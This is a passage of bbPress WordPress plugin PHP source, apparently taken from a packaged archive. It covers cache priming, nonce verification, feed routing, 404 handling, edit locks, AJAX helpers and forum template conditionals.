		// Join post statuses to specifically exclude together
		$post_status = "'" . implode( "', '", $not_in ) . "'";
		$bbp_db      = bbp_db();

		// Note that we can't use WP_Query here thanks to post_status assumptions
		$query       = $bbp_db->prepare( "SELECT ID FROM {$bbp_db->posts} WHERE post_parent = %d AND post_status NOT IN ( {$post_status} ) AND post_type = %s ORDER BY ID DESC", $parent_id, $post_type );
		$child_ids   = (array) $bbp_db->get_col( $query );

		// Always cache the results
		wp_cache_set( $cache_key, $child_ids, 'bbpress_posts' );
	}

	// Make sure results are INTs
	$child_ids = wp_parse_id_list( $child_ids );

	// Filter & return
	return (array) apply_filters( 'bbp_get_all_child_ids', $child_ids, $parent_id, $post_type );
}

/**
 * Prime familial post caches.
 *
 * This function uses _prime_post_caches() to prepare the object cache for
 * imminent requests to post objects that aren't naturally cached by the primary
 * WP_Query calls themselves. Post author caches are also primed.
 *
 * This is triggered when a `update_post_family_cache` argument is set to true.
 *
 * Also see: bbp_update_post_author_caches()
 *
 * @since 2.6.0 bbPress (r6699)
 *
 * @param array $objects Array of objects, fresh from a query
 *
 * @return bool True if some IDs were cached
 */
function bbp_update_post_family_caches( $objects = array() ) {

	// Bail if no posts
	if ( empty( $objects ) ) {
		return false;
	}

	// Default value
	$post_ids = array();

	// Filter the types of IDs to prime
	$ids = apply_filters( 'bbp_update_post_family_caches', array(
		'_bbp_last_active_id',
		'_bbp_last_reply_id',
		'_bbp_last_topic_id',
		'_bbp_reply_to'
	), $objects );

	// Get the last active IDs
	foreach ( $objects as $object ) {
		$object = get_post( $object );

		// Skip if post ID is empty.
		if ( empty( $object->ID ) ) {
			continue;
		}

		// Meta IDs
		foreach ( $ids as $key ) {
			$post_ids[] = get_post_meta( $object->ID, $key, true );
		}

		// This post ID is already cached, but the post author may not be
		$post_ids[] = $object->ID;
	}

	// Unique, non-zero values
	$post_ids = bbp_get_unique_array_values( $post_ids );

	// Bail if no IDs to prime
	if ( empty( $post_ids ) ) {
		return false;
	}

	// Prime post caches
	_prime_post_caches( $post_ids, true, true );

	// Prime post author caches
	bbp_update_post_author_caches( $post_ids );

	// Return
	return true;
}

/**
 * Prime post author caches.
 *
 * This function uses cache_users() to prepare the object cache for
 * imminent requests to user objects that aren't naturally cached by the primary
 * WP_Query calls themselves.
 *
 * This is triggered when a `update_post_author_cache` argument is set to true.
 *
 * @since 2.6.0 bbPress (r6699)
 *
 * @param array $objects Array of objects, fresh from a query
 *
 * @return bool True if some IDs were cached
 */
function bbp_update_post_author_caches( $objects = array() ) {

	// Bail if no posts
	if ( empty( $objects ) ) {
		return false;
	}

	// Default value
	$user_ids = array();

	// Get the user IDs (could use wp_list_pluck() if this is ever a bottleneck)
	foreach ( $objects as $object ) {
		$object = get_post( $object );

		// Skip if post does not have an author ID.
		if ( empty( $object->post_author ) ) {
			continue;
		}

		// If post exists, add post author to the array.
		$user_ids[] = (int) $object->post_author;
	}

	// Unique, non-zero values
	$user_ids = bbp_get_unique_array_values( $user_ids );

	// Bail if no IDs to prime
	if ( empty( $user_ids ) ) {
		return false;
	}

	// Try to prime user caches
	cache_users( $user_ids );

	// Return
	return true;
}

/** Globals *******************************************************************/

/**
 * Get the unfiltered value of a global $post's key
 *
 * Used most frequently when editing a forum/topic/reply
 *
 * @since 2.1.0 bbPress (r3694)
 *
 * @param string $field Name of the key
 * @param string $context How to sanitize - raw|edit|db|display|attribute|js
 * @return string Field value
 */
function bbp_get_global_post_field( $field = 'ID', $context = 'edit' ) {

	// Get the post, and maybe get a field from it
	$post   = get_post();
	$retval = isset( $post->{$field} )
		? sanitize_post_field( $field, $post->{$field}, $post->ID, $context )
		: '';

	// Filter & return
	return apply_filters( 'bbp_get_global_post_field', $retval, $post, $field, $context );
}

/** Nonces ********************************************************************/

/**
 * Makes sure the user requested an action from another page on this site.
 *
 * To avoid security exploits within the theme.
 *
 * @since 2.1.0 bbPress (r4022)
 *
 * @param string $action Action nonce
 * @param string $query_arg where to look for nonce in $_REQUEST
 */
function bbp_verify_nonce_request( $action = '', $query_arg = '_wpnonce' ) {

	/** Home URL **************************************************************/

	// Parse home_url() into pieces to remove query-strings, strange characters,
	// and other funny things that plugins might to do to it.
	$parsed_home = parse_url( home_url( '/', ( is_ssl() ? 'https' : 'http' ) ) );

	// Maybe include the port, if it's included
	if ( isset( $parsed_home['port'] ) ) {
		$parsed_host = $parsed_home['host'] . ':' . $parsed_home['port'];
	} else {
		$parsed_host = $parsed_home['host'];
	}

	// Set the home URL for use in comparisons
	$home_url = trim( strtolower( $parsed_home['scheme'] . '://' . $parsed_host . $parsed_home['path'] ), '/' );

	/** Requested URL *********************************************************/

	// Maybe include the port, if it's included in home_url()
	if ( isset( $parsed_home['port'] ) && false === strpos( $_SERVER['HTTP_HOST'], ':' ) ) {
		$request_host = $_SERVER['HTTP_HOST'] . ':' . $_SERVER['SERVER_PORT'];
	} else {
		$request_host = $_SERVER['HTTP_HOST'];
	}

	// Build the currently requested URL
	$scheme        = bbp_get_url_scheme();
	$requested_url = strtolower( $scheme . $request_host . $_SERVER['REQUEST_URI'] );

	/** Look for match ********************************************************/

	/**
	 * Filters the requested URL being nonce-verified.
	 *
	 * Useful for configurations like reverse proxying.
	 *
	 * @since 2.2.0 bbPress (r4361)
	 *
	 * @param string $requested_url The requested URL.
	 */
	$matched_url = apply_filters( 'bbp_verify_nonce_request_url', $requested_url );

	// Check the nonce
	$result = isset( $_REQUEST[ $query_arg ] )
		? wp_verify_nonce( $_REQUEST[ $query_arg ], $action )
		: false;

	// Nonce check failed
	if ( empty( $result ) || empty( $action ) || ( strpos( $matched_url, $home_url ) !== 0 ) ) {
		$result = false;
	}

	/**
	 * Fires at the end of the nonce verification check.
	 *
	 * @since 2.1.0 bbPress (r4023)
	 *
	 * @param string $action Action nonce.
	 * @param bool   $result Boolean result of nonce verification.
	 */
	do_action( 'bbp_verify_nonce_request', $action, $result );

	return $result;
}

/** Feeds *********************************************************************/

/**
 * This function is hooked into the WordPress 'request' action and is
 * responsible for sniffing out the query vars and serving up RSS2 feeds if
 * the stars align and the user has requested a feed of any bbPress type.
 *
 * @since 2.0.0 bbPress (r3171)
 *
 * @param array $query_vars
 * @return array
 */
function bbp_request_feed_trap( $query_vars = array() ) {

	// Looking at a feed
	if ( isset( $query_vars['feed'] ) ) {

		// Forum/Topic/Reply Feed
		if ( isset( $query_vars['post_type'] ) ) {

			// Matched post type
			$post_type = false;

			// Post types to check
			$post_types = array(
				bbp_get_forum_post_type(),
				bbp_get_topic_post_type(),
				bbp_get_reply_post_type()
			);

			// Cast query vars as array outside of foreach loop
			$qv_array = (array) $query_vars['post_type'];

			// Check if this query is for a bbPress post type
			foreach ( $post_types as $bbp_pt ) {
				if ( in_array( $bbp_pt, $qv_array, true ) ) {
					$post_type = $bbp_pt;
					break;
				}
			}

			// Looking at a bbPress post type
			if ( ! empty( $post_type ) ) {

				// Supported select query vars
				$select_query_vars = array(
					'p'        => false,
					'name'     => false,
					$post_type => false,
				);

				// Setup matched variables to select
				foreach ( $query_vars as $key => $value ) {
					if ( isset( $select_query_vars[ $key ] ) ) {
						$select_query_vars[ $key ] = $value;
					}
				}

				// Remove any empties
				$select_query_vars = array_filter( $select_query_vars );

				// What bbPress post type are we looking for feeds on?
				switch ( $post_type ) {

					// Forum
					case bbp_get_forum_post_type() :

						// Define local variable(s)
						$meta_query = array();

						// Single forum
						if ( ! empty( $select_query_vars ) ) {

							// Load up our own query
							query_posts( array_merge( array(
								'post_type' => bbp_get_forum_post_type(),
								'feed'      => true
							), $select_query_vars ) );

							// Restrict to specific forum ID
							$meta_query = array( array(
								'key'     => '_bbp_forum_id',
								'value'   => bbp_get_forum_id(),
								'type'    => 'NUMERIC',
								'compare' => '='
							) );
						}

						// Only forum replies
						if ( ! empty( $_GET['type'] ) && ( bbp_get_reply_post_type() === $_GET['type'] ) ) {

							// The query
							$the_query = array(
								'author'         => 0,
								'feed'           => true,
								'post_type'      => bbp_get_reply_post_type(),
								'post_parent'    => 'any',
								'post_status'    => bbp_get_public_reply_statuses(),
								'posts_per_page' => bbp_get_replies_per_rss_page(),
								'order'          => 'DESC',
								'meta_query'     => $meta_query
							);

							// Output the feed
							bbp_display_replies_feed_rss2( $the_query );

						// Only forum topics
						} elseif ( ! empty( $_GET['type'] ) && ( bbp_get_topic_post_type() === $_GET['type'] ) ) {

							// The query
							$the_query = array(
								'author'         => 0,
								'feed'           => true,
								'post_type'      => bbp_get_topic_post_type(),
								'post_parent'    => bbp_get_forum_id(),
								'post_status'    => bbp_get_public_topic_statuses(),
								'posts_per_page' => bbp_get_topics_per_rss_page(),
								'order'          => 'DESC'
							);

							// Output the feed
							bbp_display_topics_feed_rss2( $the_query );

						// All forum topics and replies
						} else {

							// Exclude private/hidden forums if not looking at single
							if ( empty( $select_query_vars ) ) {
								$meta_query = array( bbp_exclude_forum_ids( 'meta_query' ) );
							}

							// The query
							$the_query = array(
								'author'         => 0,
								'feed'           => true,
								'post_type'      => array( bbp_get_reply_post_type(), bbp_get_topic_post_type() ),
								'post_parent'    => 'any',
								'post_status'    => bbp_get_public_topic_statuses(),
								'posts_per_page' => bbp_get_replies_per_rss_page(),
								'order'          => 'DESC',
								'meta_query'     => $meta_query
							);

							// Output the feed
							bbp_display_replies_feed_rss2( $the_query );
						}

						break;

					// Topic feed - Show replies
					case bbp_get_topic_post_type() :

						// Single topic
						if ( ! empty( $select_query_vars ) ) {

							// Load up our own query
							query_posts( array_merge( array(
								'post_type' => bbp_get_topic_post_type(),
								'feed'      => true
							), $select_query_vars ) );

							// Output the feed
							bbp_display_replies_feed_rss2( array( 'feed' => true ) );

						// All topics
						} else {

							// The query
							$the_query = array(
								'author'         => 0,
								'feed'           => true,
								'post_parent'    => 'any',
								'posts_per_page' => bbp_get_topics_per_rss_page(),
								'show_stickies'  => false
							);

							// Output the feed
							bbp_display_topics_feed_rss2( $the_query );
						}

						break;

					// Replies
					case bbp_get_reply_post_type() :

						// The query
						$the_query = array(
							'posts_per_page' => bbp_get_replies_per_rss_page(),
							'meta_query'     => array( array( ) ),
							'feed'           => true
						);

						// All replies
						if ( empty( $select_query_vars ) ) {
							bbp_display_replies_feed_rss2( $the_query );
						}

						break;
				}
			}

		// Single Topic Vview
		} elseif ( isset( $query_vars[ bbp_get_view_rewrite_id() ] ) ) {

			// Get the view
			$view = $query_vars[ bbp_get_view_rewrite_id() ];

			// We have a view to display a feed
			if ( ! empty( $view ) ) {

				// Get the view query
				$the_query = bbp_get_view_query_args( $view );

				// Output the feed
				bbp_display_topics_feed_rss2( $the_query );
			}
		}

		// @todo User profile feeds
	}

	// No feed so continue on
	return $query_vars;
}

/** Templates ******************************************************************/

/**
 * Used to guess if page exists at requested path
 *
 * @since 2.0.0 bbPress (r3304)
 *
 * @param string $path
 * @return mixed False if no page, Page object if true
 */
function bbp_get_page_by_path( $path = '' ) {

	// Default to false
	$retval = false;

	// Path is not empty
	if ( ! empty( $path ) ) {

		// Pretty permalinks are on so path might exist
		if ( get_option( 'permalink_structure' ) ) {
			$retval = get_page_by_path( $path );
		}
	}

	// Filter & return
	return apply_filters( 'bbp_get_page_by_path', $retval, $path );
}

/**
 * Sets the 404 status.
 *
 * Used primarily with topics/replies inside hidden forums.
 *
 * @since 2.0.0 bbPress (r3051)
 * @since 2.6.0 bbPress (r6583) Use status_header() & nocache_headers()
 *
 * @param WP_Query $query  The query being checked
 *
 * @return bool Always returns true
 */
function bbp_set_404( $query = null ) {

	// Global fallback
	if ( empty( $query ) ) {
		$query = bbp_get_wp_query();
	}

	// Setup environment
	$query->set_404();

	// Setup request
	status_header( 404 );
	nocache_headers();
}

/**
 * Sets the 200 status header.
 *
 * @since 2.6.0 bbPress (r6583)
 */
function bbp_set_200() {
	status_header( 200 );
}

/**
 * Maybe handle the default 404 handling for some bbPress conditions
 *
 * Some conditions (like private/hidden forums and edits) have their own checks
 * on `bbp_template_redirect` and are not currently 404s.
 *
 * @since 2.6.0 bbPress (r6555)
 *
 * @param bool $override Whether to override the default handler
 * @param WP_Query $wp_query The posts query being referenced
 *
 * @return bool False to leave alone, true to override
 */
function bbp_pre_handle_404( $override = false, $wp_query = false ) {

	// Handle a bbPress 404 condition
	if ( isset( $wp_query->bbp_is_404 ) ) {

		// Either force a 404 when 200, or a 200 when 404
		$override = ( true === $wp_query->bbp_is_404 )
			? bbp_set_404( $wp_query )
			: bbp_set_200();
	}

	// Return, maybe overridden
	return $override;
}

/**
 * Maybe pre-assign the posts that are returned from a WP_Query.
 *
 * This effectively short-circuits the default query for posts, which is
 * currently only used to avoid calling the main query when it's not necessary.
 *
 * @since 2.6.0 bbPress (r6580)
 *
 * @param mixed $posts Default null. Array of posts (possibly empty)
 * @param WP_Query $wp_query
 *
 * @return mixed Null if no override. Array if overridden.
 */
function bbp_posts_pre_query( $posts = null, $wp_query = false ) {

	// Custom 404 handler is set, so set posts to empty array to avoid 2 queries
	if ( ! empty( $wp_query->bbp_is_404 ) ) {
		$posts = array();
	}

	// Return, maybe overridden
	return $posts;
}

/**
 * Get scheme for a URL based on is_ssl() results.
 *
 * @since 2.6.0 bbPress (r6759)
 *
 * @return string https:// if is_ssl(), otherwise http://
 */
function bbp_get_url_scheme() {
	return is_ssl()
		? 'https://'
		: 'http://';
}

/** Titles ********************************************************************/

/**
 * Is a title longer that the maximum title length?
 *
 * Uses mb_strlen() in `8bit` mode to treat strings as raw. This matches the
 * behavior present in Comments, PHPMailer, RandomCompat, and others.
 *
 * @since 2.6.0 bbPress (r6783)
 *
 * @param string $title
 * @return bool
 */
function bbp_is_title_too_long( $title = '' ) {
	$max    = bbp_get_title_max_length();
	$len    = mb_strlen( $title, '8bit' );
	$result = ( $len > $max );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_title_too_long', $result, $title, $max, $len );
}
includes/common/locks.php000066600000003504151771460310011501 0ustar00<?php

/**
 * bbPress Locking
 *
 * @package bbPress
 * @subpackage Common
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Check to see if the post is currently being edited by another user.
 *
 * @see wp_check_post_lock()
 *
 * @since 2.6.0 bbPress (r6340)
 *
 * @param int $post_id ID of the post to check for editing
 * @return integer False: not locked or locked by current user. Int: user ID of user with lock.
 */
function bbp_check_post_lock( $post_id = 0 ) {

	// Bail if no post
	if ( !$post = get_post( $post_id ) ) {
		return false;
	}

	// Bail if no lock
	if ( !$lock = get_post_meta( $post->ID, '_edit_lock', true ) ) {
		return false;
	}

	// Get lock
	$lock = explode( ':', $lock );
	$time = $lock[0];
	$user = (int) isset( $lock[1] )
		? $lock[1]
		: get_post_meta( $post->ID, '_edit_last', true );

	// Filter editing window duration
	$time_window = apply_filters( 'bbp_check_post_lock_window', 3 * MINUTE_IN_SECONDS );

	// Return user who is or last edited
	if ( ! empty( $time ) && ( $time > ( time() - $time_window ) ) && ( $user !== bbp_get_current_user_id() ) ) {
		return (int) $user;
	}

	return false;
}

/**
 * Mark the post as currently being edited by the current user
 *
 * @since 2.6.0 bbPress (r6340)
 *
 * @param int $post_id ID of the post to being edited
 * @return bool|array Returns false if the post doesn't exist of there is no current user, or
 * 	an array of the lock time and the user ID.
 */
function bbp_set_post_lock( $post_id = 0 ) {

	// Bail if no post
	if ( !$post = get_post( $post_id ) ) {
		return false;
	}

	// Bail if no user
	if ( 0 == ( $user_id = get_current_user_id() ) ) {
		return false;
	}

	// Get time & lock value
	$now  = time();
	$lock = "{$now}:{$user_id}";

	// Set lock value
	update_post_meta( $post->ID, '_edit_lock', $lock );

	return array( $now, $user_id );
}
includes/common/ajax.php000066600000007152151771460310011314 0ustar00<?php

/**
 * bbPress Common AJAX Functions
 *
 * Common AJAX functions are ones that are used to setup and/or use during
 * bbPress specific, theme-side  AJAX requests.
 *
 * @package bbPress
 * @subpackage Ajax
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Output the URL to use for theme-side bbPress AJAX requests
 *
 * @since 2.3.0 bbPress (r4543)
 */
function bbp_ajax_url() {
	echo esc_url( bbp_get_ajax_url() );
}
	/**
	 * Return the URL to use for theme-side bbPress AJAX requests
	 *
	 * @since 2.3.0 bbPress (r4543)
	 *
	 * @global WP $wp
	 * @return string
	 */
	function bbp_get_ajax_url() {
		global $wp;

		$ssl      = bbp_get_url_scheme();
		$url      = trailingslashit( $wp->request );
		$base_url = home_url( $url, $ssl );
		$ajaxurl  = add_query_arg( array( 'bbp-ajax' => 'true' ), $base_url );

		// Filter & return
		return apply_filters( 'bbp_get_ajax_url', $ajaxurl );
	}

/**
 * Is this a bbPress AJAX request?
 *
 * @since 2.3.0 bbPress (r4543)
 *
 * @return bool Looking for bbp-ajax
 */
function bbp_is_ajax() {
	return (bool) ( ( isset( $_GET['bbp-ajax'] ) || isset( $_POST['bbp-ajax'] ) ) && ! empty( $_REQUEST['action'] ) );
}

/**
 * Hooked to the 'bbp_template_redirect' action, this is also the custom
 * theme-side AJAX handler.
 *
 * This is largely taken from admin-ajax.php, but adapted specifically for
 * theme-side bbPress-only AJAX requests.
 *
 * @since 2.3.0 bbPress (r4543)
 *
 * @param string $action Sanitized action from bbp_post_request/bbp_get_request
 *
 * @return If not a bbPress AJAX request
 */
function bbp_do_ajax( $action = '' ) {

	// Bail if not a bbPress specific AJAX request
	if ( ! bbp_is_ajax() ) {
		return;
	}

	// Set WordPress core AJAX constant for back-compat
	if ( ! defined( 'DOING_AJAX' ) ) {
		define( 'DOING_AJAX', true );
	}

	// Setup AJAX headers
	bbp_ajax_headers();

	// Compat for targeted action hooks (without $action param)
	$action = empty( $action )
		? sanitize_key( $_REQUEST['action'] ) // isset checked by bbp_is_ajax()
		: $action;

	// Setup action key
	$key = "bbp_ajax_{$action}";

	// Bail if no action is registered
	if ( empty( $action ) || ! has_action( $key ) ) {
		wp_die( '0', 400 );
	}

	// Everything is 200 OK.
	bbp_set_200();

	// Execute custom bbPress AJAX action
	do_action( $key );

	// All done
	wp_die( '0' );
}

/**
 * Send headers for AJAX specific requests
 *
 * This was abstracted from bbp_do_ajax() for use in custom theme-side AJAX
 * implementations.
 *
 * @since 2.6.0 bbPress (r6757)
 */
function bbp_ajax_headers() {

	// Set the header content type
	@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
	@header( 'X-Robots-Tag: noindex' );

	// Disable content sniffing in browsers that support it
	send_nosniff_header();

	// Disable browser caching for all AJAX requests
	nocache_headers();
}

/**
 * Helper method to return JSON response for bbPress AJAX calls
 *
 * @since 2.3.0 bbPress (r4542)
 *
 * @param bool $success
 * @param string $content
 * @param array $extras
 */
function bbp_ajax_response( $success = false, $content = '', $status = -1, $extras = array() ) {

	// Set status to 200 if setting response as successful
	if ( ( true === $success ) && ( -1 === $status ) ) {
		$status = 200;
	}

	// Setup the response array
	$response = array(
		'success' => $success,
		'status'  => $status,
		'content' => $content
	);

	// Merge extra response parameters in
	if ( ! empty( $extras ) && is_array( $extras ) ) {
		$response = array_merge( $response, $extras );
	}

	// Send back the JSON
	@header( 'Content-type: application/json' );
	echo json_encode( $response );
	die();
}
includes/common/locale.php000066600000002664151771460310011633 0ustar00<?php

/**
 * bbPress Localization
 *
 * @package bbPress
 * @subpackage Localization
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Translates role name.
 *
 * Since the role names are in the database and not in the source there
 * are dummy gettext calls to get them into the POT file and this function
 * properly translates them back.
 *
 * The before_last_bar() call is needed, because older installs keep the roles
 * using the old context format: 'Role name|User role' and just skipping the
 * content after the last bar is easier than fixing them in the DB. New installs
 * won't suffer from that problem.
 *
 * @see translate_user_role()
 *
 * @since 2.6.0 bbPress
 *
 * @param string $name The role name.
 * @return string Translated role name on success, original name on failure.
 */
function bbp_translate_user_role( $name ) {
	return translate_with_gettext_context( before_last_bar( $name ), 'User role', 'bbpress' );
}

/**
 * Dummy gettext calls to get strings in the catalog.
 *
 * @since 2.6.0 bbPress
 */
function bbp_dummy_role_names() {

	/* translators: user role */
	_x( 'Keymaster', 'User role', 'bbpress' );

	/* translators: user role */
	_x( 'Moderator', 'User role', 'bbpress' );

	/* translators: user role */
	_x( 'Participant', 'User role', 'bbpress' );

	/* translators: user role */
	_x( 'Spectator', 'User role', 'bbpress' );

	/* translators: user role */
	_x( 'Blocked', 'User role', 'bbpress' );
}
includes/common/index.php000066600000000072151771460310011472 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/common/template.php000066600000223647151771460310012215 0ustar00<?php

/**
 * bbPress Common Template Tags
 *
 * Common template tags are ones that are used by more than one component, like
 * forums, topics, replies, users, topic tags, etc...
 *
 * @package bbPress
 * @subpackage TemplateTags
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** URLs **********************************************************************/

/**
 * Output the forum URL
 *
 * @since 2.1.0 bbPress (r3979)
 *
 * @param string $path Additional path with leading slash
 */
function bbp_forums_url( $path = '/' ) {
	echo esc_url( bbp_get_forums_url( $path ) );
}
	/**
	 * Return the forum URL
	 *
	 * @since 2.1.0 bbPress (r3979)
	 *
	 * @param string $path Additional path with leading slash
	 */
	function bbp_get_forums_url( $path = '/' ) {
		return home_url( bbp_get_root_slug() . $path );
	}

/**
 * Output the forum URL
 *
 * @since 2.1.0 bbPress (r3979)
 *
 * @param string $path Additional path with leading slash
 */
function bbp_topics_url( $path = '/' ) {
	echo esc_url( bbp_get_topics_url( $path ) );
}
	/**
	 * Return the forum URL
	 *
	 * @since 2.1.0 bbPress (r3979)
	 *
	 * @param string $path Additional path with leading slash
	 * @return The URL to the topics archive
	 */
	function bbp_get_topics_url( $path = '/' ) {
		return home_url( bbp_get_topic_archive_slug() . $path );
	}

/** Add-on Actions ************************************************************/

/**
 * Add our custom head action to wp_head
 *
 * @since 2.0.0 bbPress (r2464)
 */
function bbp_head() {
	do_action( 'bbp_head' );
}

/**
 * Add our custom head action to wp_head
 *
 * @since 2.0.0 bbPress (r2464)
 */
function bbp_footer() {
	do_action( 'bbp_footer' );
}

/** is_ ***********************************************************************/

/**
 * Check if current site is public
 *
 * @since 2.0.0 bbPress (r3398)
 *
 * @param int $site_id
 * @return bool True if site is public, false if private
 */
function bbp_is_site_public( $site_id = 0 ) {

	// Get the current site ID
	if ( empty( $site_id ) ) {
		$site_id = get_current_blog_id();
	}

	// Get the site visibility setting
	$public = is_multisite()
		? get_blog_option( $site_id, 'blog_public', 1 )
		: get_option( 'blog_public', 1 );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_site_public', $public, $site_id );
}

/**
 * Check if current page is a bbPress forum
 *
 * @since 2.0.0 bbPress (r2549)
 *
 * @param int $post_id Possible post_id to check
 * @return bool True if it's a forum page, false if not
 */
function bbp_is_forum( $post_id = 0 ) {

	// Assume false
	$retval = false;

	// Supplied ID is a forum
	if ( ! empty( $post_id ) && ( bbp_get_forum_post_type() === get_post_type( $post_id ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum', $retval, $post_id );
}

/**
 * Check if we are viewing a forum archive.
 *
 * @since 2.0.0 bbPress (r3251)
 *
 * @return bool
 */
function bbp_is_forum_archive() {

	// Default to false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// In forum archive
	if ( is_post_type_archive( bbp_get_forum_post_type() ) || bbp_is_query_name( 'bbp_forum_archive' ) || ! empty( $wp_query->bbp_show_topics_on_root ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_archive', $retval );
}

/**
 * Viewing a single forum
 *
 * @since 2.0.0 bbPress (r3338)
 *
 * @return bool
 */
function bbp_is_single_forum() {

	// Assume false
	$retval = false;

	// Edit is not a single forum
	if ( bbp_is_forum_edit() ) {
		return false;
	}

	// Single and a match
	if ( is_singular( bbp_get_forum_post_type() ) || bbp_is_query_name( 'bbp_single_forum' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_forum', $retval );
}

/**
 * Check if current page is a forum edit page
 *
 * @since 2.1.0 bbPress (r3553)
 *
 * @return bool True if it's the forum edit page, false if not
 */
function bbp_is_forum_edit() {
	global $pagenow;

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_forum_edit ) && ( $wp_query->bbp_is_forum_edit === true ) ) {
		$retval = true;

	// Editing in admin
	} elseif ( is_admin() && ( 'post.php' === $pagenow ) && ( get_post_type() === bbp_get_forum_post_type() ) && ( ! empty( $_GET['action'] ) && ( 'edit' === $_GET['action'] ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_edit', $retval );
}

/**
 * Check if current page is a bbPress topic
 *
 * @since 2.0.0 bbPress (r2549)
 *
 * @param int $post_id Possible post_id to check
 * @return bool True if it's a topic page, false if not
 */
function bbp_is_topic( $post_id = 0 ) {

	// Assume false
	$retval = false;

	// Supplied ID is a topic
	if ( ! empty( $post_id ) && ( bbp_get_topic_post_type() === get_post_type( $post_id ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic', $retval, $post_id );
}

/**
 * Viewing a single topic
 *
 * @since 2.0.0 bbPress (r3338)
 *
 * @return bool
 */
function bbp_is_single_topic() {

	// Assume false
	$retval = false;

	// Edit is not a single topic
	if ( bbp_is_topic_edit() ) {
		return false;
	}

	// Single and a match
	if ( is_singular( bbp_get_topic_post_type() ) || bbp_is_query_name( 'bbp_single_topic' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_single_topic', $retval );
}

/**
 * Check if we are viewing a topic archive.
 *
 * @since 2.0.0 bbPress (r3251)
 *
 * @return bool
 */
function bbp_is_topic_archive() {

	// Default to false
	$retval = false;

	// In topic archive
	if ( is_post_type_archive( bbp_get_topic_post_type() ) || bbp_is_query_name( 'bbp_topic_archive' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_archive', $retval );
}

/**
 * Check if current page is a topic edit page
 *
 * @since 2.0.0 bbPress (r2753)
 *
 * @return bool True if it's the topic edit page, false if not
 */
function bbp_is_topic_edit() {
	global $pagenow;

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_topic_edit ) && ( $wp_query->bbp_is_topic_edit === true ) ) {
		$retval = true;

	// Editing in admin
	} elseif ( is_admin() && ( 'post.php' === $pagenow ) && ( get_post_type() === bbp_get_topic_post_type() ) && ( ! empty( $_GET['action'] ) && ( 'edit' === $_GET['action'] ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_edit', $retval );
}

/**
 * Check if current page is a topic merge page
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @return bool True if it's the topic merge page, false if not
 */
function bbp_is_topic_merge() {

	// Assume false
	$retval = false;

	// Check topic edit and GET params
	if ( bbp_is_topic_edit() && ! empty( $_GET['action'] ) && ( 'merge' === $_GET['action'] ) ) {
		return true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_merge', $retval );
}

/**
 * Check if current page is a topic split page
 *
 * @since 2.0.0 bbPress (r2756)
 *
 * @return bool True if it's the topic split page, false if not
 */
function bbp_is_topic_split() {

	// Assume false
	$retval = false;

	// Check topic edit and GET params
	if ( bbp_is_topic_edit() && ! empty( $_GET['action'] ) && ( 'split' === $_GET['action'] ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_split', $retval );
}

/**
 * Check if the current page is a topic tag
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return bool True if it's a topic tag, false if not
 */
function bbp_is_topic_tag() {

	// Bail if topic-tags are off
	if ( ! bbp_allow_topic_tags() ) {
		return false;
	}

	// Return false if editing a topic tag
	if ( bbp_is_topic_tag_edit() ) {
		return false;
	}

	// Assume false
	$retval = false;

	// Check tax and query vars
	if ( is_tax( bbp_get_topic_tag_tax_id() ) || ! empty( bbpress()->topic_query->is_tax ) || get_query_var( 'bbp_topic_tag' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_tag', $retval );
}

/**
 * Check if the current page is editing a topic tag
 *
 * @since 2.0.0 bbPress (r3346)
 *
 * @return bool True if editing a topic tag, false if not
 */
function bbp_is_topic_tag_edit() {
	global $pagenow, $taxnow;

	// Bail if topic-tags are off
	if ( ! bbp_allow_topic_tags() ) {
		return false;
	}

	// Assume false
	$retval = false;

	// Get the main query global
	$wp_query = bbp_get_wp_query();

	// Check query
	if ( ! empty( $wp_query->bbp_is_topic_tag_edit ) && ( true === $wp_query->bbp_is_topic_tag_edit ) ) {
		$retval = true;

	// Editing in admin
	} elseif ( is_admin() && ( 'edit-tags.php' === $pagenow ) && ( bbp_get_topic_tag_tax_id() === $taxnow ) && ( ! empty( $_GET['action'] ) && ( 'edit' === $_GET['action'] ) ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_tag_edit', $retval );
}

/**
 * Check if the current post type is one that comes with bbPress
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @param mixed $the_post Optional. Post object or post ID.
 *
 * @return bool
 */
function bbp_is_custom_post_type( $the_post = false ) {

	// Assume false
	$retval = false;

	// Viewing one of the bbPress post types
	if ( in_array( get_post_type( $the_post ), array(
		bbp_get_forum_post_type(),
		bbp_get_topic_post_type(),
		bbp_get_reply_post_type()
	), true ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_custom_post_type', $retval, $the_post );
}

/**
 * Check if current page is a bbPress reply
 *
